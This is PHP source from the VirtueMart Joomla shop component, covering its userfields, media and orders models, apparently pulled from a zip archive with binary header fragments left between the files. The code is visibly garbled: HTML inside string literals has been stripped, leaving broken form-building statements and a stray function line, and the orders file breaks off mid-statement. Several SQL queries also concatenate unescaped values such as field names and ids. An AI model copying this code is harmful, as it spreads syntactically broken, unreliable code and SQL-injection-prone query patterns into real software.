$this->getUserFields($_sec, array(), array()); if (isset(self::$_cache_named[$_sec])) return isset(self::$_cache_named[$_sec][$_field_name]); return false; } /** * Return an array with userFields in several formats. * * @access public * @param $_selection An array, as returned by getuserFields(), with fields that should be returned. * @param $_userData Array with userdata holding the values for the fields * @param $_prefix string Optional prefix for the formtag name attribute * @author Oscar van Eijk * @return array List with all userfield data in the format: * array( * 'fields' => array( // All fields * => array( * 'name' => // Name of the field * 'value' => // Existing value for the current user, or the default * 'title' => // Title used for label and such * 'type' => // Field type as specified in the userfields table * 'hidden' => // True/False * 'required' => // True/False. If True, the formcode also has the class "required" for the Joomla formvalidator * 'formcode' => // Full HTML tag * ) * [...] * ) * 'functions' => array() // Optional javascript functions without ; * 'scripts' => array( // Array with scriptsources for use with JHTML::script(); * => * [...] * ) * 'links' => array( // Array with stylesheets for use with JHTML::stylesheet(); * => * [...] * ) * ) * @example This example illustrates the use of this function. For additional examples, see the Order view * and the User view in the administrator section. *
    	 *   // In the controller, make sure this model is loaded.
    	 *   // In view.html.php, make the following calls:
    	 *   $_usrDetails = getUserDetailsFromSomeModel(); // retrieve an user_info record, eg from the usermodel or ordermodel
    	 *   $_usrFieldList = $userFieldsModel->getUserFields(
    	 *                    'registration'
    	 *                  , array() // Default switches
    	 *                  , array('delimiter_userinfo', 'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips
    	 *    );
    	 *   $usrFieldValues = $userFieldsModel->getUserFieldsFilled(
    	 *                      $_usrFieldList
    	 *                     ,$_usrDetails
    	 *   );
    	 *   $this->assignRef('userfields', $userfields);
    	 *   // In the template, use code below to display the data. For an extended example using
    	 *   // delimiters, JavaScripts and StyleSheets, see the edit_shopper.php in the user view
    	 *   
    	 *     
    	 *       
    	 *         
    	 *       
    	 *     
    	 *      shipmentfields['fields'] as $_field ) {
    	 *          echo '  '."\n";
    	 *          echo '    '."\n";
    	 *          echo '    '."\n";
    	 *          echo '  '."\n";
    	 *        }
    	 *      ?>
    	 *    
    * *
    '."\n"; * echo ' '.$_field['title']."\n"; * echo ' '."\n"; * * echo ' '.$_field['value']."\n"; // Display only * Or: * echo ' '.$_field['formcode']."\n"; // Input form * * echo '
    *
    */ public function getUserFieldsFilled($_selection, $_userData = null, $_prefix = ''){ if(!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $_return = array( 'fields' => array() ,'functions' => array() ,'scripts' => array() ,'links' => array() ); $admin = false; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check('admin','storeadmin')){ $admin = true; } // vmdebug('my user data in getUserFieldsFilled',$_selection,$_userData); $_userData=(array)($_userData); if (is_array($_selection)) { foreach ($_selection as $_fld) { $_return['fields'][$_fld->name] = array( 'name' => $_prefix . $_fld->name ,'value' => (($_userData == null || !array_key_exists($_fld->name, $_userData)) ? $_fld->default : @html_entity_decode($_userData[$_fld->name],ENT_COMPAT,'UTF-8')) ,'title' => vmText::_($_fld->title) ,'type' => $_fld->type ,'required' => $_fld->required ,'hidden' => false ,'formcode' => '' ,'description' => vmText::_($_fld->description) ); $readonly = ''; if(!$admin){ if($_fld->readonly ){ $readonly = ' readonly="readonly" '; } } // vmdebug ('getUserFieldsFilled',$_fld->name); // if($_fld->name==='email') vmdebug('user data email getuserfieldbyuser',$_userData); // First, see if there are predefined fields by checking the name switch( $_fld->name ) { // case 'email': // $_return['fields'][$_fld->name]['formcode'] = $_userData->email; // break; case 'virtuemart_country_id': $attrib = array(); //For nice lists in the FE if ($_fld->size) { $attrib = array('style'=>"width: ".$_fld->size."px"); } $_return['fields'][$_fld->name]['formcode'] = ShopFunctions::renderCountryList($_return['fields'][$_fld->name]['value'], false, $attrib , $_prefix, $_fld->required); if(!empty($_return['fields'][$_fld->name]['value'])){ // Translate the value from ID to name $_return['fields'][$_fld->name]['virtuemart_country_id'] = (int)$_return['fields'][$_fld->name]['value']; $db = JFactory::getDBO (); $q = 'SELECT * FROM `#__virtuemart_countries` WHERE virtuemart_country_id = "' . (int)$_return['fields'][$_fld->name]['value'] . '"'; $db->setQuery ($q); $r = $db->loadAssoc(); if($r){ $_return['fields'][$_fld->name]['value'] = !empty($r['country_name'])? $r['country_name']:'' ; $_return['fields'][$_fld->name]['country_2_code'] = !empty($r['country_2_code'])? $r['country_2_code']:'' ; $_return['fields'][$_fld->name]['country_3_code'] = !empty($r['country_3_code'])? $r['country_3_code']:'' ; } else { vmError('Model Userfields, country with id '.$_return['fields'][$_fld->name]['value'].' not found'); } } else { $_return['fields'][$_fld->name]['value'] = '' ; $_return['fields'][$_fld->name]['country_2_code'] = '' ; $_return['fields'][$_fld->name]['country_3_code'] = '' ; } //$_return['fields'][$_fld->name]['value'] = JText::_(shopFunctions::getCountryByID($_return['fields'][$_fld->name]['value'])); //$_return['fields'][$_fld->name]['state_2_code'] = JText::_(shopFunctions::getCountryByID($_return['fields'][$_fld->name]['value'])); break; case 'virtuemart_state_id': if (!class_exists ('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); $attrib = array(); if ($_fld->size) { $attrib = array('style'=>"width: ".$_fld->size."px"); } $_return['fields'][$_fld->name]['formcode'] = shopFunctions::renderStateList( $_return['fields'][$_fld->name]['value'], $_prefix, false, $_fld->required, $attrib ); if(!empty($_return['fields'][$_fld->name]['value'])){ // Translate the value from ID to name $_return['fields'][$_fld->name]['virtuemart_state_id'] = (int)$_return['fields'][$_fld->name]['value']; $db = JFactory::getDBO (); $q = 'SELECT * FROM `#__virtuemart_states` WHERE virtuemart_state_id = "' . (int)$_return['fields'][$_fld->name]['value'] . '"'; $db->setQuery ($q); $r = $db->loadAssoc(); if($r){ $_return['fields'][$_fld->name]['value'] = !empty($r['state_name'])? $r['state_name']:'' ; $_return['fields'][$_fld->name]['state_2_code'] = !empty($r['state_2_code'])? $r['state_2_code']:'' ; $_return['fields'][$_fld->name]['state_3_code'] = !empty($r['state_3_code'])? $r['state_3_code']:'' ; } else { vmError('Model Userfields, state with id '.$_return['fields'][$_fld->name]['value'].' not found'); } } else { $_return['fields'][$_fld->name]['value'] = '' ; $_return['fields'][$_fld->name]['state_2_code'] = '' ; $_return['fields'][$_fld->name]['state_3_code'] = '' ; } //$_return['fields'][$_fld->name]['value'] = shopFunctions::getStateByID($_return['fields'][$_fld->name]['value']); break; //case 'agreed': // $_return['fields'][$_fld->name]['formcode'] = 'required ? ' class="required"' : '') . ' />'; // break; case 'password': case 'password2': $_return['fields'][$_fld->name]['formcode'] = ''."\n"; break; case 'agreed': $_return['fields'][$_fld->name]['formcode'] = 'name]['value'] ? 'checked="checked"' : '') .'/>'; break; // It's not a predefined field, so handle it by it's fieldtype default: if(strpos($_fld->type,'plugin')!==false){ JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmOnUserfieldDisplay',array($_prefix, $_fld,isset($_userData['virtuemart_user_id'])?$_userData['virtuemart_user_id']:0, &$_return) ); break; } switch( $_fld->type ) { case 'hidden': $_return['fields'][$_fld->name]['formcode'] = 'required ? ' class="required"' : '') . ($_fld->maxlength ? ' maxlength="' . $_fld->maxlength . '"' : '') . $readonly . ' /> '; $_return['fields'][$_fld->name]['hidden'] = true; break; case 'date': case 'age_verification': //echo JHTML::_('behavior.calendar'); /* * TODO We must add the joomla.javascript here that contains the calendar, * since Joomla does not load it when there's no user logged in. * Gotta find out why... some security issue or a bug??? * Note by Oscar */ // if ($_userData === null) { // Not logged in // $_doc = JFactory::getDocument(); // $_doc->addScript( JURI::root(true).'/includes/js/joomla.javascript.js'); // } $currentYear= date('Y'); // $calendar = vmJsApi::jDate($_return['fields'][$_fld->name]['value'], $_prefix.$_fld->name, $_prefix.$_fld->name . '_field',false,($currentYear-100).':'.$currentYear); // $_return['fields'][$_fld->name]['formcode'] = $calendar ; //if(empty($_return['fields'][$_fld->name]['value'])){ // $_return['fields'][$_fld->name]['value'] = "1912-01-01 00:00:00"; //} jDate($date='',$name="date",$id=null,$resetBt = true, $yearRange='') { // Year range MUST start 100 years ago, for birthday $_return['fields'][$_fld->name]['formcode'] = vmJsApi::jDate($_return['fields'][$_fld->name]['value'], $_prefix.$_fld->name,$_prefix.$_fld->name . '_field',false,($currentYear-100).':'.$currentYear); break; case 'emailaddress': if( JFactory::getApplication()->isSite()) { if(empty($_return['fields'][$_fld->name]['value'])) { $_return['fields'][$_fld->name]['value'] = JFactory::getUser()->email; } } // vmdebug('emailaddress',$_fld); case 'text': case 'webaddress': $_return['fields'][$_fld->name]['formcode'] = 'required ? ' class="required"' : '') . ($_fld->maxlength ? ' maxlength="' . $_fld->maxlength . '"' : '') . $readonly . ' /> '; break; case 'textarea': $_return['fields'][$_fld->name]['formcode'] = ''; break; case 'editorta': jimport( 'joomla.html.editor' ); $editor = JFactory::getEditor(); $_return['fields'][$_fld->name]['formcode'] = $editor->display($_prefix.$_fld->name, $_return['fields'][$_fld->name]['value'], '150', '100', $_fld->cols, $_fld->rows, array('pagebreak', 'readmore')); break; case 'checkbox': $_return['fields'][$_fld->name]['formcode'] = 'name]['value'] ? 'checked="checked"' : '') .'/>'; if($_return['fields'][$_fld->name]['value']) { $_return['fields'][$_fld->name]['value'] = JText::_($_prefix.$_fld->title); } break; // /*##mygruz20120223193710 { :*/ // case 'userfieldplugin': //why not just vmuserfieldsplugin ? // JPluginHelper::importPlugin('vmuserfield'); // $dispatcher = JDispatcher::getInstance(); // //Todo to adjust to new pattern, using & // $html = '' ; // $dispatcher->trigger('plgVmOnUserFieldDisplay',array($_return['fields'][$_fld->name], &$html) ); // $_return['fields'][$_fld->name]['formcode'] = $html; // break; // /*##mygruz20120223193710 } */ case 'multicheckbox': case 'multiselect': case 'select': case 'radio': $_qry = 'SELECT fieldtitle, fieldvalue ' . 'FROM #__virtuemart_userfield_values ' . 'WHERE virtuemart_userfield_id = ' . $_fld->virtuemart_userfield_id . ' ORDER BY ordering '; $_values = $this->_getList($_qry); // We need an extra lok here, especially for the Bank info; the values // must be translated. // Don't check on the field name though, since others might be added in the future :-( foreach ($_values as $_v) { $_v->fieldtitle = vmText::_($_v->fieldtitle); } $_attribs = array(); if ($_fld->readonly and !$admin) { $_attribs['readonly'] = 'readonly'; } if ($_fld->required) { $_attribs['class'] = 'required'; } if ($_fld->type == 'radio' or $_fld->type == 'select') { $_selected = $_return['fields'][$_fld->name]['value']; } else { $_attribs['size'] = $_fld->size; // Use for all but radioselects if (!is_array($_return['fields'][$_fld->name]['value'])){ $_selected = explode("|*|", $_return['fields'][$_fld->name]['value']); } else { $_selected = $_return['fields'][$_fld->name]['value']; } } // Nested switch... switch($_fld->type) { case 'multicheckbox': // todo: use those $_attribs['rows'] = $_fld->rows; $_attribs['cols'] = $_fld->cols; $formcode = ''; $field_values=""; $_idx = 0; $separator_form = '
    '; $separator_title = ','; foreach ($_values as $_val) { if ( in_array($_val->fieldvalue, $_selected)) { $is_selected='checked="checked"'; $field_values.= JText::_($_val->fieldtitle). $separator_title; } else { $is_selected=''; } $formcode .= ' '. $separator_form; $_idx++; } // remove last br $_return['fields'][$_fld->name]['formcode'] =substr($formcode ,0,-strlen($separator_form)); $_return['fields'][$_fld->name]['value'] = substr($field_values,0,-strlen($separator_title)); break; case 'multiselect': $_attribs['multiple'] = 'multiple'; $_attribs['class'] = 'vm-chzn-select'; $field_values=""; $_return['fields'][$_fld->name]['formcode'] = JHTML::_('select.genericlist', $_values, $_prefix.$_fld->name.'[]', $_attribs, 'fieldvalue', 'fieldtitle', $_selected); $separator_form = '
    '; $separator_title = ','; foreach ($_values as $_val) { if ( in_array($_val->fieldvalue, $_selected)) { $field_values.= JText::_($_val->fieldtitle). $separator_title; } } $_return['fields'][$_fld->name]['value'] = substr($field_values,0,-strlen($separator_title)); break; case 'select': $_attribs['class'] = 'vm-chzn-select'; if ($_fld->size) { $_attribs['style']= "width: ".$_fld->size."px"; } if(!$_fld->required){ $obj = new stdClass(); $obj->fieldtitle = vmText::_('COM_VIRTUEMART_LIST_EMPTY_OPTION'); $obj->fieldvalue = ''; array_unshift($_values,$obj); } $_return['fields'][$_fld->name]['formcode'] = JHTML::_('select.genericlist', $_values, $_prefix.$_fld->name, $_attribs, 'fieldvalue', 'fieldtitle', $_selected); foreach ($_values as $_val) { if ( !empty($_selected) and $_val->fieldvalue==$_selected ) { // vmdebug('getUserFieldsFilled set empty select to value',$_selected,$_fld,$_return['fields'][$_fld->name]); $_return['fields'][$_fld->name]['value'] = vmText::_($_val->fieldtitle); } } break; case 'radio': $_return['fields'][$_fld->name]['formcode'] = JHTML::_('select.radiolist', $_values, $_prefix.$_fld->name, $_attribs, 'fieldvalue', 'fieldtitle', $_selected); foreach ($_values as $_val) { if ( $_val->fieldvalue==$_selected) { $_return['fields'][$_fld->name]['value'] = vmText::_($_val->fieldtitle); } } break; } break; } break; } } } else { vmdebug('getUserFieldsFilled $_selection is not an array ',$_selection); // $_return['fields'][$_fld->name]['formcode'] = ''; } return $_return; } /** * Checks if a single field is required, used in the cart * * @author Max Milbers * @param string $fieldname */ function getIfRequired($fieldname) { $q = 'SELECT `required` FROM #__virtuemart_userfields WHERE `name` = "'.$fieldname.'" '; $this->_db->setQuery($q); $result = $this->_db->loadResult(); $error = $this->_db->getErrorMsg(); if(!empty($error)){ vmError('userfields getIfRequired '.$error,'Programmer used an unknown userfield '.$fieldname); } return $result; } /** * Translate arrays form userfield_values to the format expected by the table class. * * stAn Note -> when a field of [0] is deleted (or others), you cannot use count to itenerate the array * * @param array $titles List of titles from the formdata * @param array $values List of values from the formdata * @param int $virtuemart_userfield_id ID of the userfield to relate * @return array Data to bind to the userfield_values table */ private function postData2FieldValues($titles, $values, $virtuemart_userfield_id ){ $_values = array(); if (is_array($titles) && is_array($values)) { // updated by stAn: foreach ($values as $i=>$val) { $_values[$i] = array( 'virtuemart_userfield_id' => $virtuemart_userfield_id ,'fieldtitle' => $titles[$i] ,'fieldvalue' => $values[$i] ,'ordering' => $i ); } /* for ($i=0; $i < count($titles) ;$i++) { if (empty($titles[$i])) { continue; // Ignore empty fields } } */ } return $_values; } /** * Get the column name of a given fieldID * @param $_id integer Field ID * @return string Fieldname */ function getNameByID($_id) { $_sql = 'SELECT `name` FROM `#__virtuemart_userfields` WHERE virtuemart_userfield_id = "'.$_id.'" '; $_v = $this->_getList($_sql); return ($_v[0]->name); } /** * Delete all record ids selected * * @return boolean True is the remove was successful, false otherwise. */ function remove($fieldIds){ $field = $this->getTable('userfields'); $value = $this->getTable('userfield_values'); $userinfo = $this->getTable('userinfos'); $orderinfo = $this->getTable('order_userinfos'); $ok = true; foreach($fieldIds as $fieldId) { $_fieldName = $this->getNameByID($fieldId); $field->load($fieldId); if ($field->type != 'delimiter') { // Get the fieldtype for the database $_fieldType = $field->formatFieldType(); // Alter the user_info table if ($userinfo->_modifyColumn ('DROP', $_fieldName,$_fieldType) === false) { vmError($userinfo->getError()); $ok = false; } // Alter the order_userinfo table if ($orderinfo->_modifyColumn ('DROP', $_fieldName,$_fieldType) === false) { vmError($orderinfo->getError()); $ok = false; } } if (!$field->delete($fieldId)) { vmError($field->getError()); $ok = false; } if (!$value->delete($fieldId)) { vmError($field->getError()); $ok = false; } } return $ok; } /** * Get the userfields for the BE list * * @author Max Milbers * @return NULL */ function getUserfieldsList(){ if (!$this->_data) { $whereString = $this->_getFilter(); $ordering = $this->_getOrdering(); $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_userfields`',$whereString,'',$ordering); } return $this->_data; } /** * If a filter was set, get the SQL WHERE clase * * @return string text to add to the SQL statement */ function _getFilter() { $db = JFactory::getDBO(); if ($search = JRequest::getWord('search', false)) { $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); return (' WHERE `name` LIKE ' .$search); } return (''); } /** * Build the query to list all Userfields * *@deprecated * @return string SQL query statement */ function _getListQuery () { $query = 'SELECT * FROM `#__virtuemart_userfields` '; $query .= $this->_getFilter(); $query .= $this->_getOrdering(); return ($query); } //*/ } // No closing tag PKsl>\$k88Ncom_virtuemart_update/administrator/components/com_virtuemart/models/media.phpnuW+AsetMainTable('medias'); $this->addvalidOrderingFieldName(array('ordering')); $this->_selectedOrdering = 'created_on'; } /** * Gets a single media by virtuemart_media_id * . * @param string $type * @param string $mime mime type of file, use for exampel image * @return mediaobject */ function getFile($type=0,$mime=0){ if (empty($this->_data)) { $data = $this->getTable('medias'); $data->load((int)$this->_id); if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php'); $this->_data = VmMediaHandler::createMedia($data,$type,$mime); } return $this->_data; } /** * Kind of getFiles, it creates a bunch of image objects by an array of virtuemart_media_id * * @author Max Milbers * @param int $virtuemart_media_id * @param string $type * @param string $mime */ function createMediaByIds($virtuemart_media_ids,$type='',$mime='',$limit =0){ if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php'); $app = JFactory::getApplication(); $medias = array(); static $_medias = array(); if(!empty($virtuemart_media_ids)){ if(!is_array($virtuemart_media_ids)) $virtuemart_media_ids = explode(',',$virtuemart_media_ids); //Lets delete empty ids //$virtuemart_media_ids = array_diff($virtuemart_media_ids,array('0','')); $data = $this->getTable('medias'); foreach($virtuemart_media_ids as $k => $virtuemart_media_id){ if($limit!==0 and $k==$limit and !empty($medias)) break; // never break if $limit = 0 if(is_object($virtuemart_media_id)){ $id = $virtuemart_media_id->virtuemart_media_id; } else { $id = $virtuemart_media_id; } if(!empty($id)){ if (!array_key_exists ($id, $_medias)) { $data->load((int)$id); if($app->isSite()){ if($data->published==0){ $_medias[$id] = $this->createVoidMedia($type,$mime); continue; } } $file_type = empty($data->file_type)? $type:$data->file_type; $mime = empty($data->file_mimetype)? $mime:$data->file_mimetype; if($app->isSite()){ $selectedLangue = explode(",", $data->file_lang); //vmdebug('selectedLangue',$selectedLangue); $lang = JFactory::getLanguage(); if(in_array($lang->getTag(), $selectedLangue) || $data->file_lang == '') { $_medias[$id] = VmMediaHandler::createMedia($data,$file_type,$mime); if(is_object($virtuemart_media_id) && !empty($virtuemart_media_id->product_name)) $_medias[$id]->product_name = $virtuemart_media_id->product_name; } } else { $_medias[$id] = VmMediaHandler::createMedia($data,$file_type,$mime); if(is_object($virtuemart_media_id) && !empty($virtuemart_media_id->product_name)) $_medias[$id]->product_name = $virtuemart_media_id->product_name; } } if (!empty($_medias[$id])) { $medias[] = $_medias[$id]; } } } } if(empty($medias)){ $medias[] = $this->createVoidMedia($type,$mime); } return $medias; } function createVoidMedia($type,$mime){ static $voidMedia = null; if(empty($voidMedia)){ $data = $this->getTable('medias'); //Create empty data $data->virtuemart_media_id = 0; $data->virtuemart_vendor_id = 0; $data->file_title = ''; $data->file_description = ''; $data->file_meta = ''; $data->file_mimetype = ''; $data->file_type = ''; $data->file_url = ''; $data->file_url_thumb = ''; $data->published = 0; $data->file_is_downloadable = 0; $data->file_is_forSale = 0; $data->file_is_product_image = 0; $data->shared = 0; $data->file_params = 0; $data->file_lang = ''; $voidMedia = VmMediaHandler::createMedia($data,$type,$mime); } return $voidMedia; } /** * Retrieve a list of files from the database. This is meant only for backend use * * @author Max Milbers * @param boolean $onlyPublished True to only retrieve the published files, false otherwise * @param boolean $noLimit True if no record count limit is used, false otherwise * @return object List of media objects */ function getFiles($onlyPublished=false, $noLimit=false, $virtuemart_product_id=null, $cat_id=null, $where=array(),$nbr=false){ $this->_noLimit = $noLimit; if(empty($this->_db)) $this->_db = JFactory::getDBO(); $vendorId = 1; //TODO set to logged user or requested vendorId, not easy later $query = ''; $selectFields = array(); $joinTables = array(); $joinedTables = ''; $whereItems= array(); $groupBy =''; $orderByTable = ''; if(!empty($virtuemart_product_id)){ $mainTable = '`#__virtuemart_product_medias`'; $selectFields[] = ' `#__virtuemart_medias`.`virtuemart_media_id` as virtuemart_media_id '; $joinTables[] = ' LEFT JOIN `#__virtuemart_medias` ON `#__virtuemart_medias`.`virtuemart_media_id`=`#__virtuemart_product_medias`.`virtuemart_media_id` and `virtuemart_product_id` = "'.$virtuemart_product_id.'"'; $whereItems[] = '`virtuemart_product_id` = "'.$virtuemart_product_id.'"'; if($this->_selectedOrdering=='ordering'){ $orderByTable = '`#__virtuemart_product_medias`.'; } else{ $orderByTable = '`#__virtuemart_medias`.'; } } else if(!empty($cat_id)){ $mainTable = '`#__virtuemart_category_medias`'; $selectFields[] = ' `#__virtuemart_medias`.`virtuemart_media_id` as virtuemart_media_id'; $joinTables[] = ' LEFT JOIN `#__virtuemart_medias` ON `#__virtuemart_medias`.`virtuemart_media_id`=`#__virtuemart_category_medias`.`virtuemart_media_id` and `virtuemart_category_id` = "'.$cat_id.'"'; $whereItems[] = '`virtuemart_category_id` = "'.$cat_id.'"'; if($this->_selectedOrdering=='ordering'){ $orderByTable = '`#__virtuemart_category_medias`.'; } else{ $orderByTable = '`#__virtuemart_medias`.'; } } else { $mainTable = '`#__virtuemart_medias`'; $selectFields[] = ' `virtuemart_media_id` '; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check('admin') ){ $whereItems[] = '(`virtuemart_vendor_id` = "'.(int)$vendorId.'" OR `shared`="1")'; } } if ($onlyPublished) { $whereItems[] = '`#__virtuemart_medias`.`published` = 1'; } if ($search = JRequest::getString('searchMedia', false)){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; $where[] = ' (`file_title` LIKE '.$search.' OR `file_description` LIKE '.$search.' OR `file_meta` LIKE '.$search.' OR `file_url` LIKE '.$search.' OR `file_url_thumb` LIKE '.$search.' ) '; } if ($type = JRequest::getWord('search_type')) { $where[] = 'file_type = "'.$type.'" ' ; } if ($role = JRequest::getWord('search_role')) { if ($role == "file_is_downloadable") { $where[] = '`file_is_downloadable` = 1'; $where[] = '`file_is_forSale` = 0'; } elseif ($role == "file_is_forSale") { $where[] = '`file_is_downloadable` = 0'; $where[] = '`file_is_forSale` = 1'; } else { $where[] = '`file_is_downloadable` = 0'; $where[] = '`file_is_forSale` = 0'; } } if (!empty($where)) $whereItems = array_merge($whereItems,$where); if(count($whereItems)>0){ $whereString = ' WHERE '.implode(' AND ', $whereItems ); } else { $whereString = ' '; } $orderBy = $this->_getOrdering($orderByTable);# if(count($selectFields)>0){ $select = implode(', ', $selectFields ).' FROM '.$mainTable; //$selectFindRows = 'SELECT COUNT(*) FROM '.$mainTable; if(count($joinTables)>0){ foreach($joinTables as $table){ $joinedTables .= $table; } } } else { vmError('No select fields given in getFiles','No select fields given'); return false; } $this->_data = $this->exeSortSearchListQuery(2, $select, $joinedTables, $whereString, $groupBy, $orderBy,'',$nbr); if(empty($this->_data)){ return array(); } if( !is_array($this->_data)){ $this->_data = explode(',',$this->_data); } $this->_data = $this->createMediaByIds($this->_data); return $this->_data; } /** * This function stores a media and updates then the refered table * * @author Max Milbers * @author Patrick Kohl * @param array $data Data from a from * @param string $type type of the media category,product,manufacturer,shop, ... */ function storeMedia($data,$type){ // vmdebug('my data in media to store start',$data['virtuemart_media_id']); JRequest::checkToken() or jexit( 'Invalid Token, while trying to save media' ); if(empty($data['media_action'])){ $data['media_action'] = 'none'; } //vmdebug('storeMedia',$data); //the active media id is not empty, so there should be something done with it //if( (!empty($data['active_media_id']) && !empty($data['virtuemart_media_id']) ) || $data['media_action']=='upload'){ if( (!empty($data['active_media_id']) and isset($data['virtuemart_media_id']) ) || $data['media_action']=='upload'){ $oldIds = $data['virtuemart_media_id']; $data['file_type'] = $type; //$data['virtuemart_media_id'] = (int)$data['active_media_id']; //done within the function now $this -> setId($data['active_media_id']); $virtuemart_media_id = $this->store($data,$type); //added by Mike, Mike why did you add this? This function storeMedia is extremely nasty $this->setId($virtuemart_media_id); if(!empty($oldIds)){ if(!is_array($oldIds)) $oldIds = array($oldIds); if(!empty($data['mediaordering']) && $data['media_action']=='upload'){ // array_push($data['mediaordering'],count($data['mediaordering'])+1); $data['mediaordering'][$virtuemart_media_id] = count($data['mediaordering']); } $virtuemart_media_ids = array_merge( (array)$virtuemart_media_id,$oldIds); // vmdebug('merged old and new',$virtuemart_media_ids); $data['virtuemart_media_id'] = array_unique($virtuemart_media_ids); } else { $data['virtuemart_media_id'] = $virtuemart_media_id; } } if(!empty($data['mediaordering'])){ asort($data['mediaordering']); $sortedMediaIds = array(); foreach($data['mediaordering'] as $k=>$v){ $sortedMediaIds[] = $k; } // vmdebug('merging old and new',$oldIds,$virtuemart_media_id); $data['virtuemart_media_id'] = $sortedMediaIds; } // vmdebug('my data in media to store',$data['virtuemart_media_id'],$data['mediaordering']); //set the relations $table = $this->getTable($type.'_medias'); // Bind the form fields to the country table $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } return $table->virtuemart_media_id; } /** * Store an entry of a mediaItem, this means in end effect every media file in the shop * images, videos, pdf, zips, exe, ... * * @author Max Milbers */ public function store(&$data,$type) { VmConfig::loadJLang('com_virtuemart_media'); //if(empty($data['media_action'])) return $table->virtuemart_media_id; if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php'); $table = $this->getTable('medias'); /* $a = trim($data['file_url_thumb']); $b = trim(JText::sprintf('COM_VIRTUEMART_DEFAULT_URL',$data['file_url_thumb'])); vmdebug(' the miese Assi',$a,$b); if( $a == $b ){ vmdebug('Unset the miese Assi'); unset($data['file_url_thumb']); }*/ //unset($data['file_url_thumb']); $data['virtuemart_media_id'] = $this->getId(); $table->bind($data); $data = VmMediaHandler::prepareStoreMedia($table,$data,$type); //this does not store the media, it process the actions and prepares data // workarround for media published and product published two fields in one form. $tmpPublished = false; if (isset($data['media_published'])){ $tmpPublished = $data['published']; $data['published'] = $data['media_published']; //vmdebug('$data["published"]',$data['published']); } $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError('store medias '.$error); } if($tmpPublished){ $data['published'] = $tmpPublished; } // vmdebug('store media $table->virtuemart_media_id '.$table->virtuemart_media_id); return $table->virtuemart_media_id; } public function attachImages($objects,$type,$mime='',$limit=0){ if(!empty($objects)){ if(!is_array($objects)) $objects = array($objects); foreach($objects as $k => $object){ if(empty($object->virtuemart_media_id)) $virtuemart_media_id = null; else $virtuemart_media_id = $object->virtuemart_media_id; $object->images = $this->createMediaByIds($virtuemart_media_id,$type,$mime,$limit); //This should not be used in fact. It is for legacy reasons there. if(isset($object->images[0]->file_url_thumb)){ $object->file_url_thumb = $object->images[0]->file_url_thumb; $object->file_url = $object->images[0]->file_url; } } } } } // pure php no closing tag PKsl>\V$$Ocom_virtuemart_update/administrator/components/com_virtuemart/models/orders.phpnuW+Adb is never used in the model ? * @package VirtueMart * @author RolandD */ class VirtueMartModelOrders extends VmModel { /** * constructs a VmModel * setMainTable defines the maintable of the model * @author Max Milbers */ function __construct() { parent::__construct(); $this->setMainTable('orders'); $this->addvalidOrderingFieldName(array('order_name','order_email','payment_method','virtuemart_order_id' ) ); } /** * This function gets the orderId, for anonymous users * @author Max Milbers */ public function getOrderIdByOrderPass($orderNumber,$orderPass){ $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_order_id` FROM `#__virtuemart_orders` WHERE `order_pass`="'.$db->getEscaped($orderPass).'" AND `order_number`="'.$db->getEscaped($orderNumber).'"'; $db->setQuery($q); $orderId = $db->loadResult(); // vmdebug('getOrderIdByOrderPass '.$orderId); return $orderId; } /** * This function gets the orderId, for payment response * author Valerie Isaksen */ public static function getOrderIdByOrderNumber($orderNumber){ $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_order_id` FROM `#__virtuemart_orders` WHERE `order_number`="'.$db->getEscaped($orderNumber).'"'; $db->setQuery($q); $orderId = $db->loadResult(); return $orderId; } /** * This function seems completly broken, JRequests are not allowed in the model, sql not escaped * This function gets the secured order Number, to send with paiement * */ public function getOrderNumber($virtuemart_order_id){ $db = JFactory::getDBO(); $q = 'SELECT `order_number` FROM `#__virtuemart_orders` WHERE virtuemart_order_id="'.(int)$virtuemart_order_id.'" '; $db->setQuery($q); $OrderNumber = $db->loadResult(); return $OrderNumber; } /** * Was also broken, actually used? * * get next/previous order id * */ public function getOrderId($order_id, $direction ='DESC') { if ($direction == 'ASC') { $arrow ='>'; } else { $arrow ='<'; } $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_order_id` FROM `#__virtuemart_orders` WHERE `virtuemart_order_id`'.$arrow.(int)$order_id; $q.= ' ORDER BY `virtuemart_order_id` '.$direction ; $db->setQuery($q); if ($oderId = $db->loadResult()) { return $oderId ; } return 0 ; } /** * This is a proxy function to return an order safely, we may set the getOrder function to private * Maybe the right place would be the controller, cause there are JRequests in it. But for a fast solution, * still better than to have it 3-4 times in the view.html.php of the views. * @author Max Milbers * * @return array */ public function getMyOrderDetails($orderID = 0, $orderNumber = false, $orderPass = false){ $_currentUser = JFactory::getUser(); $cuid = $_currentUser->get('id'); $orderDetails = false; // If the user is not logged in, we will check the order number and order pass if(empty($orderID) and empty($cuid)){ // If the user is not logged in, we will check the order number and order pass if ($orderPass = JRequest::getString('order_pass',$orderPass)){ $orderNumber = JRequest::getString('order_number',$orderNumber); $orderId = $this->getOrderIdByOrderPass($orderNumber,$orderPass); if(empty($orderId)){ echo JText::_('COM_VIRTUEMART_RESTRICTED_ACCESS'); return false; } $orderDetails = $this->getOrder($orderId); } } else { // If the user is logged in, we will check if the order belongs to him $virtuemart_order_id = 